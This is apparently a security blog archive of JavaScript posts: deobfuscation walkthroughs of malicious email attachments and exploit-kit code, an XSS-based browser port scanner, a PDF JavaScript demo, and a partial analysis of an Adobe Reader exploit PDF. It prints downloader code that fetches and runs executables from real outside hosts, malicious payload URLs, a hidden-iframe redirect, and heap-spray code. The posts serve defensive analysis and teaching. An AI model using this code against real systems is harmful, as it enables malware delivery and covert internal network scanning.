Showing posts with label Javascript. Show all posts
Showing posts with label Javascript. Show all posts

Monday, December 23, 2019

navigator DOM keys

document.write("navigator.appName = " + navigator.appName + "<br/>")
document.write("navigator.appCodeName = " + navigator.appCodeName + "<br/>")
document.write("navigator.appVersion = " + navigator.appVersion + "<br/>")
document.write("navigator.platform = " + navigator.platform + "<br/>")
document.write("navigator.vendor = " + navigator.vendor + "<br/>")
document.write("navigator.vendorSub = " + navigator.vendorSub + "<br/>");
document.write("navigator.buildID = " + navigator.buildID + "<br/>");
document.write("navigator.oscpu = " + navigator.oscpu + "<br/>");
document.write("navigator.product = " + navigator.product + "<br/>");
document.write("navigator.productSub = " + navigator.productSub + "<br/>");



-----------------
sample output
-----------------
Google Chrome on 64bit Windows 10
-----------------
navigator.appName = Netscape
navigator.appCodeName = Mozilla
navigator.appVersion = 5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
navigator.platform = Win32
navigator.vendor = Google Inc.
navigator.vendorSub =
navigator.buildID = undefined
navigator.oscpu = undefined
navigator.product = Gecko
navigator.productSub = 20030107

-----------------
Internet Explorer on 64bit Windows 10
-----------------
navigator.appName = Netscape
navigator.appCodeName = Mozilla
navigator.appVersion = 5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; wbx 1.0.0; rv:11.0) like Gecko
navigator.platform = Win32
navigator.vendor =
navigator.vendorSub = undefined
-----------------
Microsoft Edge on 64bit Windows 10
-----------------
navigator.appName = Netscape
navigator.appCodeName = Mozilla
navigator.appVersion = 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
navigator.platform = Win32
navigator.vendor =
navigator.vendorSub = 
-----------------
FireFox ESR on 64bit Kali Linux
-----------------

navigator.appName = Netscape
navigator.appCodeName = Mozilla
navigator.appVersion = 5.0 (X11)
navigator.platform = Linux x86_64
navigator.vendor = 
navigator.vendorSub = 

Wednesday, August 31, 2016

Deobfuscating some more Javascript

Saw this paste with malicious javascript. If ou strip out all the malicious variable creations (_zds, se, _dd) and the eval statement at the end , and replace them all with console.log() statements, you can get a bit of a better picture. Then if you do the same routine again of repacing bad stuff with console.log statemnts you finally get this code

and in it there is a freeky looking variable that ends up containing the urls of interest.

var IGv7=[MMo+XQb1+Gd5 + VSv+Hb+Cl+Tj4+VKq+Pg + DSx+Pa + GYy+MEw1+Rj + Pf+NZa2 + Fb9+Fb+Ke+JPy+Ow9 + ORq+Sv+FOl7 + Cn, MMo+Ly5+YOv7 + AYc8+Sq6+So+Af1+Nu + Zz+ZKb + Zn1+Ik+Vy4+PRi5+Ho4+Gy9, VBg+DFu + ZDn + Cl0+Vw+Jc + Fs+Jp + Tu6+Vg7+OZv8 + UTt+Po+Cj3 + Gq8+EDt+Ag+LDc + Qn+St0+HNu + Sk6, MMo+Ly5+Qc7 + Vc9+Zn4 + ALt+Ui4 + BYt+Cc5+ZZq9 + Vm0+Ci5, Wq6 + Ya+Li5 + LJz3+Vg+Je1 + Yu8+ZPg+DFe5+HDm+Su1+Xz + XGx];

when printed out

console.log(IGv7);

["http://jago-computerservice.homepage.t-online.de/poxs17b", "http://www.elba-scaglieri.com/vj021d23", "http://sven-jaenecke.homepage.t-online.de/zvs7h", "http://www.arrotin.net/y263j", "http://bookinghotworld.ws/0b8acb"]



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. An Invoice email and a Hot mess of Java


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Friday, June 3, 2016

De-Obfuscating Angler Again

I saw today's blog by @malware_traffic on 2016-06-02 - EK DATA DUMP (ANGLER EK, KAIXIN EK, RIG EK). In Brad's notes he listed 2 urls that I thought I'd look into a bit more today

212.231.130.9 port 80 - positivessl.online - GET /script/jquery.min.js - possible gate to Angler EK (I think)
162.252.83.62 port 80 - strachubedabbling.thompsons-online.co.uk - Angler EK


He posted the PCAP for this traffic, and so I opened it in Wireshark, did Export HTTP Object from the positivessl.online traffic and downloaded some raw obfuscated javascript. When looking at that javascript I realized that the variable Mjk2MjkxMDI1MQ was missing, so I looked back in the PCAP at the previous HTTP request and found this block of code

<script>var Mjk2MjkxMDI1MQ="\x4d\x54M\x31O\x54E\x34O\x44A\x35\x4dw";</script>
<script src="http://positivessl.online/script/jquery.min.js"></script>


So I created the variable

var Mjk2MjkxMDI1MQ="\x4d\x54M\x31O\x54E\x34O\x44A\x35\x4dw";


I added the HTML, BODY, and SCRIPT tags. I replaced the malicious function calls at the bottom with simply console.log statements.

console.log(MTEzMzMzNTAxOQ);
console.log(Mjk2MjkxMDI1MQ);
console.log(vrDCFrjI(MTEzMzMzNTAxOQ, Mjk2MjkxMDI1MQ));


And when I executed this code the de-obfuscated 1st layer of javascript was revealted.

Then I performed very similar steps removing all function calls (things typically with open close parenthesis) and replaced them with console.log statements to dump what the attacker was going to do without actually executing it. The results were the following simple iframe creating code.

window[document][createElement](iframe)
window[document][createElement](iframe)[width] = 13;
window[document][createElement](iframe)[height] = 13;
window[document][createElement](iframe)[style][cssText] = 'position:absolute;left:-1658px;top:-1668px';
window[document][createElement](iframe)[src] = 'http://strachubedabbling.thompsons-online.co.uk/YxuZYR/rTkNnLU/fOhXXjpeY/00757/sdmmTqbwdx-092620-zkbgrwhi.jpg';


So now we know what the bad guy was doing, without actually running it. He was creating a new iframe, setting the height and width to something tiny, setting the position off the screen so nobody sees it, and then setting the iframe url source to his malicious angler exploit.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Tuesday, May 31, 2016

Javascript Attachment executing a Payload

Saw the following malicious email this week. The subject was "Internal Company Information Notice". The body of the email told the user that their IP address had been blocked and they need to acknowledge the email attachment or get disconnected from their services. The attachment was a zip file that contained a Javascript file inside. If the user were to extract the zip and execute the javascript file, a malicious executable would be downloaded and executed on the workstation. The javascript was heavily obfuscated, as you can see from this original javascript code. I reviewed and de-obfuscated the Javascript to get the following. I thought I'd walk through the code to give you an idea of what a lot of these attachments are doing. First, if you look at the link above, the obfuscated code contains tons of variables that are unreabled. As an example, this variable below is obsfucated.

var xDYcEgLL = "061013030014053014007007000013";

When you de-obfuscate it it turns into a string that says "SaveToFile". As it standard with these malicious actors, they have a de-obfuscate function that simply decodes these ugly variables into readable javascript code. So you can simply call the method, in this case the function below

function phdODK(BDxzUxp)


And it will decode all the variables and you can quickly get an idea of what the malicious actor is trying to accomplish.

In this case I de-obfuscated the code and came up with this pseudo code of what the attacker is doing.

var xmlReq = new ActiveXObject("MSXML2.XMLHTTP");
xmlReq["open"]("GET", "http://rondels.com/media/gallery/1.exe", 0);
xmlReq["send"]();
if (xmlReq["Status"] == 200) {
    var fileStream = new ActiveXObject("ADODB.Stream");
    fileStream["Open"]();
    fileStream["Type"] = 1;
    fileStream["Write"](xmlReq["ResponseBody"]);
    fileStream["Position"] = 0;
    var fileObj = new ActiveXObject("Scripting.FileSystemObject");
    fileStream["SaveToFile"](fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"]());
    fileStream["Close"]();
    var cmdPrompt = new ActiveXObject("WScript.Shell");
    cmdPrompt["run"]("cmd.exe /c " + fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"](), 0);
}



I'll go line by line through the javascript.

var xmlReq = new ActiveXObject("MSXML2.XMLHTTP");
xmlReq["open"]("GET", "http://rondels.com/media/gallery/1.exe", 0);
xmlReq["send"]();
if (xmlReq["Status"] == 200)



The attacker needs a way to download their malicious payload (for example their ransomware executable). To do so they utilize the Microsoft ActiveX object for XMLHttpRequests. This means that this attack the way it's currently written is only going to work if the user opens it from a Windows desktop or something that support ActiveX. Then he opens he sends a request to open the malicious url with the executable. The 0 parameter means that it's a synchronous call, so the code will wait for the download to complete before proceeding. Only if the download is successful (response code = 200) will it proceed to the next steps.

var fileStream = new ActiveXObject("ADODB.Stream");
fileStream["Open"]();
fileStream["Type"] = 1;
fileStream["Write"](xmlReq["ResponseBody"]);
fileStream["Position"] = 0;
var fileObj = new ActiveXObject("Scripting.FileSystemObject");
fileStream["SaveToFile"](fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"]());
fileStream["Close"]();

Next the attacker needs a way to interact with the victims workstation, and in particular with the file system on the victim's workstation, meaning typically their C drive. So they open another ActiveX Object (ADO) for Files (called a Stream). This file will then be opened as a binary file (Type = 1) starting at the beginning of the file (Position = 0) and will write the executable downloaded from the malicious URL into that binary file. The file will then get saved to the temporary folder using the GetSpecialFolder method (#2 = temporary folder). The name of the file getting saved it actually randomly generated by the operating system using the GetTempName method out of the Scripting.FileSystemObject object.

var cmdPrompt = new ActiveXObject("WScript.Shell");
cmdPrompt["run"]("cmd.exe /c " + fileObj["GetSpecialFolder"](2) + '\\' + fileObj["GetTempName"](), 0);

Finally the attacker has successfully connected to a website, downloaded an executable, saved it as a binary file in the victim's temp folder, and now the attacker is going to use a Wscript.Shell object to execute the new binary file on the command line (cmd.exe). One this happens it's game over for the victim as we now have code execution. All because a user did not spot a phishing email with a malicious attachment but instead clicked through. Time to re-image this workstation.

More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. DOM XSS 101 Walk-Through
  3. php injection ali.txt walk-thru


Top Github Contributions
  1. Qualys Scantronitor 2.0


Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, November 25, 2015

Malicious Javascript Walk-thru

Saw this malicious obfuscated javascript and though it was worth a walk-thru. It starts as this ugly mess. (
  function (olcdENyNGCBd) {
   function kKVXeV(msezIazw) {
    return new olcdENyNGCBd.ActiveXObject(msezIazw)
   }
   var kMFFvyAqh = true, mEwAroXP = ("B.St"+(221404, "ream"));
   var kbtEwr;
   kbtEwr = function (CJxJzZ, XuSlNgfI, SoRNuldTayYND) {
   tbWEefAFUAZSaO=((1/*s987111nuM69919eOiZ*/)?"WScri":"")+"pt.Shell";
   var CCPoAXzX = kKVXeV(tbWEefAFUAZSaO);
   var pPDVaIAYVOIp = "2.XMLHTTP";
   var CtsZjtNlqpP = kKVXeV("MSXML"+(381144, pPDVaIAYVOIp));
   var tndpSoRVjetRf = "%TEMP%\\";
   var bIVrpPKIHb = CCPoAXzX["Expa"+/*s925956nM261933eOZ*/"ndEnvironmentStrings"](tndpSoRVjetRf)
   var XuSlNgfI = bIVrpPKIHb +(437532602659, XuSlNgfI);
   CtsZjtNlqpP.onreadystatechange = function (){
    if (CtsZjtNlqpP.readyState == 4){
     kMFFvyAqh = false;
     with(kKVXeV("ADOD" + mEwAroXP)){
      open();
      type = 1;
      write(CtsZjtNlqpP.ResponseBody);
      saveToFile(XuSlNgfI, 2);
      close();
      return XuSlNgfI;
     }
    }
   }
   CtsZjtNlqpP.open("G" + (3828034, 4609216, /*dca645894zYtzkrxTK747381IlaIWQJrHGjLqXIjNQmXamgjYPW*/ "ET" /*dcazYtzkrx637703TKIlaIWQJr683091HGjLqXIjNQmX29671amgjYPW*/), CJxJzZ, false);
   CtsZjtNlqpP.send();
   yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
   while (kMFFvyAqh) {yimseHvs}
   if (((new Date())>0,1656))
    CCPoAXzX.Run(XuSlNgfI, 0, 0);
   }
   XkpYNx = "h";
   XkpYNx += "t"; /*XkpYNxCtsZjtNlqpPkKVXeV*/
   XkpYNx += "tp";
   kbtEwr(XkpYNx + "://" + "46.30.45.73/mert.e"+"x"+"e", "115987449.exe", 1);
  }
)
(this) /*507952955735917811792346152771*/


I can quickly make it prettier by removing the comments, removing the unnecessary concatenations, removing the unncessary conditionals, and replacing the unnecessary variables with their values.

(
  function (olcdENyNGCBd) {
   var kMFFvyAqh = true;
   var kbtEwr = function () {
    var CCPoAXzX = olcdENyNGCBd.ActiveXObject("WScript.Shell");
    var CtsZjtNlqpP = olcdENyNGCBd.ActiveXObject("MSXML2.XMLHTTP"));
    var bIVrpPKIHb = CCPoAXzX["ExpandEnvironmentStrings"]("%TEMP%\\")
    var XuSlNgfI = bIVrpPKIHb +"115987449.exe";
    CtsZjtNlqpP.onreadystatechange = function (){
     if (CtsZjtNlqpP.readyState == 4){
      kMFFvyAqh = false;
      with(olcdENyNGCBd.ActiveXObject("ADODB.Stream")){
       open();
       type = 1;
       write(CtsZjtNlqpP.ResponseBody);
       saveToFile(XuSlNgfI, 2);
       close();
       return XuSlNgfI;
      }
     }
    }
    CtsZjtNlqpP.open("GET" ), "http://46.30.45.73/mert.exe", false);
    CtsZjtNlqpP.send();
    yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
    while (kMFFvyAqh) {
    yimseHvs
   }
   CCPoAXzX.Run(XuSlNgfI, 0, 0);
  }
  kbtEwr();
  }
)
(this)


Then I can remove the ugly obfuscated variables with things that have more meaning to me, also eliminate the wrapper function call that wasn't necessary.

var isExeStillDownloading = true;
var shellPrompt = this.ActiveXObject("WScript.Shell");
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
var payloadDestination = tempFolderPath +"115987449.exe";
webRequest.onreadystatechange = function (){
  if (webRequest.readyState == 4){
   isExeStillDownloading = false;
   with(this.ActiveXObject("ADODB.Stream")){
    open();
    type = 1;
    write(webRequest.ResponseBody);
    saveToFile(payloadDestination, 2);
    close();
    return payloadDestination;
   }
  }
}
webRequest.open("GET" ), "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
  this.WScript.Sleep(1100)
}
shellPrompt.Run(payloadDestination, 0, 0);


Wow, that looks much more readable! Let's go through line by line now.

var isExeStillDownloading = true;



This variable will be set to true until the EXE is downloaded from the website and then it's set to false.

var shellPrompt = this.ActiveXObject("WScript.Shell");



This variable will hold the ActiveX object that allows the attacker to interact with the command prompt on the windows box.

var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));



This variable will hold the ActiveX object that allows the attacker to make web requests to download a file.

var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")



This variable will hold the windows temp folder path (that he got from using the command prompt variable above). Why does he care about the temp folder? Because it's one place he's almost guaranteed to have write access to so he can download, save, and run a file from it.

var payloadDestination = tempFolderPath +"115987449.exe";



This variable will hold the final destination for the malicious executable the attacker is trying to download to the machine and run.

webRequest.onreadystatechange = function (){
  if (webRequest.readyState == 4){
isExeStillDownloading = false;


This code starts a listener (basically a function that does not get executed until a specific event happens). In this case the listener is on the web request (the file download). The function will get called once the state of the object changed. If the state is changed to 4 (which means request COMPLETED) then this function gets called and the first thing it does is change the variable used above to indicate that the download is complete.

with(this.ActiveXObject("ADODB.Stream")){



This code then creates an ActiveX object that is used to save the downloaded file to the file system on the windows box in the temp folder.

open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();


Then the ActiveX object above is actually used to write the web request to a file in the temp folder and then save it to disk.

webRequest.open("GET" , "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
  this.WScript.Sleep(1100)
}


Kinda difficult maybe to understand at first, but the listener described in the previous sections wasn't actually executed yet. But now, with the lines above, the web request is used to call for the primary payload (mert.exe). Then the code sits and loops, sleeping, doing nothing until the file completes it's download. One the download is complete, the listener described earlier is called, it sets that variable to false saying that the download is complete, and then it exits the sleeping loop.

shellPrompt.Run(payloadDestination, 0, 0);



The final step is then for the attacker to use the shell prompt to execute the malicious exe that he just downloaded and saved to disk. Say bye-bye to your pc because it's now under his control not yours.





More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Monday, October 26, 2015

Walking Thru a Phishing Email Attachment

Here's a walk-thru of how I look at a Phishing Email Attachment.

There was a McAfee alert 'HTML/Phishing.b' on a file called 'form.html'. This likely came from a user opening/clicking on an attachment in an email.

Since McAfee marked as Infected and deleted it, the file was no longer in the original folder that the alert had triggered. But it was in the McAfee Quarantine folder as a .bup so I was able to extract it like this.

The file that came back was this ugly javascript, obfuscated and hard to read. Just at a high level, if you look at this document it contains this massively long Base64 encoded variable which is then decoded and de-obfuscated by the ugly javascript into some working HTML code that the user's browser or email client would then display.

I know this because I see at the bottom the javascript command 'document.write' which is used to write raw HTML to a page. Now to be safe, I didn't want to run this javascript directly, so I re-saved this javascript and changed 'document.write' to 'console.log'. What this does is allow me to see the HTML without actually having the browser render it (much safer). Then I hit F12 to see my firefox developer tools, re-load the javascript, and see in the console tab that the HTML is now outputted for me.

After the javascript runs, the HTML displayed is this. It's an HTML form styled nicely to phish Paypal credentials and send them to an .ru (russian) website.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, September 2, 2015

Cross Site Scripting (XSS) that Port Scans

I wrote a post last year that told you Cross Site Scripting (XSS) is worse than you think. Well, here is another example of why that is true and as a developer you have to take it seriously.

The big question is, did you know that you can essentially perform a port scan (functionality that a tool like NMAP provides) via javascript? Say What?!?!

If that's true, that means when you find an XSS vulnerability in a website, you can inject javascript that will run a port scan. So what you say? As an attacker, I'm outside your network. Where's your end user? They're inside on your network. As an outside attacker I can only port scan your DMZ which is exposed to the outside world. I could never port scan your internal network. Or could I?

In most cases, I'm guessing your end user on your internal network could probably run a port scan of surrounding devices/workstations/servers, right? Guess what. If I can get your user to browse to any website that has an XSS flaw, I can have javascript run inside your users browser, on your user's workstation, inside your network, and use their workstation to launch a port scan across other internal devices. And I could even return the results back by simply also injecting an iframe that calls back to my web server with the scan results.

That sounds like a problem!

In this blog post I'm going to skip past the concept of XSS. You can learn more about what causes it, how to fix it, and how to exploit it at OWASP. What I'm going to do in the rest of the post is show you the more interesting topic of how a port scan could occur in javascript.

At a high level, it's super simple. I'm basically going to make an HTTP request to the ports I want and the devices I want. I can do that by creating html image tags (img) that have a url (src) of http://targetIP:targetPort/testfile.jpg

If the port replies back with a response of any kind, I now it's up. If the port fails to connect or I get no response, I'm going to assume it's down.

Now granted, this method is not anywhere near as reliable as NMAP, but if life gives you lemons why not make lemonade out of it? What do I mean by that? Well, this type of scanning is at the application level. If the application/service running on that port is coded to spit back a response if it receives something that looks like HTTP, then great! But of course, there are many applications that won't respond to malformed or incorrect requests. Thus this method isn't perfect since it will mistakenly think that some ports are closed, when it all actuality they have a application running that simply won't provide a response.

The other primary downfall of this method is that all major browsers now block http requests to well known ports (like 22-ssh, etc.) so those will always be reported as closed via this method.

But, lemons to lemonade, right? So simply look at the bright side ... you are able to perform a semi-accurate port scan on an internal network without being in that network. That's more information that the attacker had to being with so I'm sure they'll take it and run. You'll probably end up identifying unusual, unconventional, or non-standard ports being used ... but hey many times are the interesting applications anyways.

So, let's get to the port scanning in javascript.

My setup is 2 devices...
- Victim to XSS that unknowingly performs a port scan (virtual box windows desktop)
- Nearby Server that gets scanned (virtual box Kali linux)


The Victim simply has a web browser that loads an html file with the attackers malicious XSS.

The Nearby Server has SSH running but on a non-standard port (7722), but if I'm the attacker I don't know that yet.



So I find a website vulnerable to XSS, I inject the following evil javascript into a website. I send the link to the victim in an email. They open the email, the vulnerable site loads, and the javascript I injected runs on that victim's browser. But I'm not interested in just hijacking sessions or social engineering the user with XSS, I also want to generate a network map of what else is on the internal network. So perhaps I write a script that cycles through several of the RFC 1918 ips and performs a port scan on them and returns me the results in an iframe http post back to my external server (which will likely get out since port 80 outbound isn't blocked).

As an example I've created a simple javascript method called scan that hits a range of ports on 1 ip.

Scanner.scan(Scanner.printresult, '192.168.56.101',7720,7725);

The method is simply looping thru each port in the range and calling the primary method that scans 1 host, 1 port.

Scanner.scan =
  function (callback, hostIP, hostMinPort, hostMaxPort) {
   for (currentPort = hostMinPort; currentPort <= hostMaxPort; currentPort++){
    Scanner.oneHost(callback, hostIP, currentPort);
   }
  };


The primary function is the funnest part. It simply declares an html img (<img src='http://10.10.10.10:7722/test.jpg' /> ). Then "if" the image loads then that means that I got a response (mighta been http 200, or 302, or 404 ... doesn't matter ... I just know it responded) and thus know it's open. If it doesn't load but instead hits my timeout period then I assume it's closed (although as discussed above it might not truly be closed).

var Scanner = {};
Scanner.oneHost =
  function (callback, hostIP, hostPort) {
   var timeout = 200;
   var imageUsedAsScanner = new Image();
  
   imageUsedAsScanner.onerror = function () {
    if (!imageUsedAsScanner) return;
    imageUsedAsScanner = undefined;
    callback(hostIP, hostPort, 'open');
   };
  
   imageUsedAsScanner.onload = imageUsedAsScanner.onerror;
   imageUsedAsScanner.src = 'http://' + hostIP + ':' + hostPort + '/testfile.jpg';
  
   setTimeout(
    function () {
     if (!imageUsedAsScanner) return;
     imageUsedAsScanner = undefined;
     callback(hostIP, hostPort, 'closed');
    }
   , timeout);
  };


So to wrap this up ... I run this javascript and print the results. Per the screenshots below notice that port 7722 (which was open) returned a "reset" while the other closed ports just refused the connection. Boom, I can port scan with XSS!



Why do we care? Developers, you have to make sure you're taking XSS seriously! Even something as trivial as an XSS flaw can lead to full network compromise. Security professionals also should care, as they need to monitor and pay attention to those TCP scanner alerts local to local as they they could be coming from an unexpected source, XSS!

NOTE: This example above was created with the intention to educate and create awareness only. This information should not be utilized information for anything malicious.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Friday, March 27, 2015

How to Add Javascript to a PDF

I recently blogged about analyzing javascript in a PDF. I'd like to go full circle now and go back to an example of how to put javascript into a PDF, then detect that code I just put in there.

It starts with an amazing tool from Didier Stevens again called make-pdf-javascript.py

Now let's write some Adobe API javascript code (my full sample here) that displays a popup and then sends the user to my blog. Save it to a file called 'code.js'

app.alert('neonprimetime created this sample for educational purposes');
app.launchURL("http://neonprimetime.blogspot.com", true);


Then we need to run the make-pdf-javascript.py tool that we downloaded earlier and watch as it creates a new pdf.

> .\make-pdf-javascript.py -f .\code.js sample.pdf



Now you have 2 ways a user could open this malicious PDF. They could open it in Acrobat Reader or in their Browser (Internet Explorer, Firefox, Chrome, etc.). The behavior of this one is different depending on your choice.

If I open in the regular Adobe Reader application it looks like this (Note: Adobe has a nice security feature that prompts you to confirm if you really want to open the webpage)





Now if you open it in a browser it behaves slightly different, a bit more deceiving actually in my opinion. The PDF is actually replaced by my webpage! Interesting to say the least.





Now I could've actually caught this ahead of time by running the process I explained in a previous blog

> .\pdfid.py .\sample.pdf

You'll notice below that it found 1 instance of Javascript



> .\pdf-parser.py .\sample.pdf

You'll notice below that it shows my javascript



Don't trust those random emails from random nobodies!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

My Attempt at Walking Thru some Malicious Javascript in PDF

After analyzing a PDF and finding malicious javascript inside it (previous blog), I wanted to make a rough attempt at steping through and trying to determine what the javascript is doing. Keep in mind that attackers try to hide and confuse us with their Javascript via lots of obfuscation methods. I have pasted the raw obfuscated code here.

So this is just an attempt, I cannot claim to know exactly what's happening here. The first thing I'd do is separate the functions from the code that will execute immediately. Anything inside a 'function () { }' is not getting executed yet, it will only be executed after it's called. So I care more about the code that is getting executed immediately upon load.

sIIESTRI = {};
sIIESTRI['11.001'] = {};
sIIESTRI['11.001']['dIAVOLO'] = '11.001';
sIIESTRI['11.001']['sCHIUMA'] = (0x7a);
sIIESTRI['11.001']['pENITENZA'] = (0x7af4);
sIIESTRI['11.001']['cOTESTA'] = (0x79f000);
sIIESTRI['11.001']['pRENDENDO'] = '11.0.1.36';
sIIESTRI['11.001']['gUADAGNAR'] = 'assist';
sIIESTRI['11.001']['createObjCount'] = 0x93;
sIIESTRI['11'] = {};
sIIESTRI['11']['dIAVOLO'] = '11';
sIIESTRI['11']['sCHIUMA'] = (0x79);
sIIESTRI['11']['pENITENZA'] = (0x7994);
sIIESTRI['11']['cOTESTA'] = (0x79f000);
sIIESTRI['11']['pRENDENDO'] = '11.0.0.379';
sIIESTRI['11']['gUADAGNAR'] = 'assist';
sIIESTRI['11']['createObjCount'] = 0x93;
sIIESTRI['10.105'] = {};
sIIESTRI['10.105']['dIAVOLO'] = '10.105';
sIIESTRI['10.105']['sCHIUMA'] = (0x2a);
sIIESTRI['10.105']['pENITENZA'] = (0x2acc);


The example of above shows the attacker creating a 2-dimensional array of information about the various versions of Adobe Reader. You could think of sIIESTRI as being renamed to AdobeVersionInformationalArray. If it's version 11.0.01, then certain information is needed and actions are taken, and if it's version 10.1.05 then different information is needed and different actions may be taken.

app = true ? app : app;
pRESSURA = eval('unescape');
dISCESA = '%u';


Next there are multiple lines mainly meant to obfuscate the code and make it more confusing to read and harder for automated analyzers to catch bad things. The first line basically does nothing. It always assigns app = app. 'app' by the way is how you access the Adobe Acrobat Api from within a javascript document. The second line basically creates an alias to the unescape function called pRESSURA. Everywhere you see this alias just imagine that the 'unescape' method is really being called instead. The third line is creating an alias for the '%u' which is used to escape UniCode characters. Thus you can expect that somewhere in the code the attacker is going to unescape unicode characters based on those 2 lines.

resto_shamans_rule = true;
var objNumber = 0x0;
var cONTRARIA = [];
var pENSAVA = (0x11871710);
var vINCISLAO = 0x0;
var gIRARSI = 0x0;
var pOSSEDER = [];
var sORRIDENDO = [];
var lARGISCON = [];
var mONCHERIN = [];
var pRODEUNT = [];
var dIMESSA = [];
var cOMPAGNIA = [];
var aRTIGLI = 0x0;
var pASSARSI;
var finalBuf;
var AdobeVersionStr = undefined;
var tERRENZIO = false;


A bunch of disgustingly named variables declared, some of which will be used later. 0x0 is the equivalent of assigning a variable the value 0. Values like (0x11871710) are hex formatted integers, so you can use a site like hex converter to figure out it's the value 294065936. []; indicates that it's declaring an array. Some variables are not given initial values and thus are undefined.

var gRIDARO = unescape("%ubbbb");
while (gRIDARO.length < (0x10000)) gRIDARO += gRIDARO;
var qUETARSI = gRIDARO.substring(0, (0x600));


The above code creates an alias gRIDARO for this chinese looking unicode character. It then sets the alias to not 1 instance of that that unicode character, but instead loops and sets it to a string that has 65,536 copies of that unicode character. Then it creates a second alias qUETARSI that is a string with only 1,536 copies of that unicode character in it.

var cAPPUCCIO = [];
for (var oFFICIO = 0x0; oFFICIO < 5000; oFFICIO++) cAPPUCCIO.push(oFFICIO.toString());


This code creates an array called cAPPUCCIO filled with the integers 0 to 4,999 or basically the index and value are equivalent.

if (app['viewerVersion'].toString().indexOf('11') == 0x0) app.execMenuItem('Find');


This code says that if we're in any version Adobe Reader 11 then run the 'Find' menu item upon load.



MainAction();

Finally we are completed with the initialization and most of the obfuscation, and the attacker begins his attack by calling the MainAction function.

function MainAction() {

if (app['viewerType'] != 'Reader') {

ErrorAlert(0x14);

}
...


If somebody tries to view the PDF in something besides Adobe's Reader, then the attack will not occur. Instead it calls an error function explained below. This is because the attack is targeted at Adobe and won't work in an open source pdf viewer for example. Also it may help the attacker avoid detection because if a user opens this in an open source browser they'll get the error message the attackers wants them to see instead of something about a javascript error related to Adobe which may tip them off.

function ErrorAlert(errorcode) {

app.alert('nt.msii \soeo capmaTnereanu Pe nagcreAleayeotlyde\icdlth eao nidoRo oe oeocateb urcrmlsprnh. alogel ssnaor dd' + errorcode.toString() + ".");

createDefaultFont();

oFFICIO = 0x1 / 0;

oFFICIO = undef / 0;

while (true);

}


When the attacker wants to display an error message, they use Adobe's api to print a popup window to the user. After that there are 4 attempts it appears to make Adobe crash or hang, including calling a non-existant method, dividing by zero, or starting an infinite loop. So let's go back to the MainFunction.


...
if (sIIESTRI[app['viewerVersion'].toString()] != undefined) {

AdobeVersionStr = sIIESTRI[app['viewerVersion'].toString()];

}

if (AdobeVersionStr == undefined) {

ErrorAlert(0x15);

}

if (AdobeVersionStr['dIAVOLO'] == '9.502' && (app.language == 'ARA' || app.language == 'GRE' || app.language == 'HEB')) {

AdobeVersionStr = sIIESTRI['9.502SPEC'];

}

if (AdobeVersionStr['dIAVOLO'] == '10.104' && (app.language == 'ARA' || app.language == 'GRE' || app.language == 'HEB')) {

AdobeVersionStr = sIIESTRI['10.104SPEC'];

}
...


Now in the MainFunction it saves the Adobe Reader version that the PDF is being opened in to the AdobeVersionStr variable. Also if it's an Arabic, Greek, or Hebrew user then it uses special settings (from that original Adobe Version information array created above). So they're singling out those types of users to do something special.

...
aRTIGLI = (0xc930);

var aSSUNTA = unescape('%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee%ueeee');

var pROFONDI = unescape('%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141');

while (aSSUNTA.length < (0x200)) aSSUNTA += pROFONDI;

aSSUNTA = aSSUNTA.substring(0, (0x200));

var sENTENZA = unescape('%u0ff0%u7ffe%u0ff0%u7ffe%u0ff0%u7ffe%u0ff0%u7ffe');

aSSUNTA = "";

while (aSSUNTA.length < (0x10000)) aSSUNTA += sENTENZA;

aSSUNTA = aSSUNTA.substring(0, (0x10000));

for (var cROLLANDO = 0x0; cROLLANDO < 40; cROLLANDO++)

{

for (var oFFICIO = 0xa; oFFICIO < 100; oFFICIO++) {

pOSSEDER.push(aSSUNTA.substring(0, (aRTIGLI / 2) - 3) + oFFICIO.toString());

}

}

gOCCIAR = 'dataValue';
...




Then in the MainFunction there is another obfuscation party as they build some variables and a massive array of funky unicode characters like these 3 0ff0, 4141, and eeee.

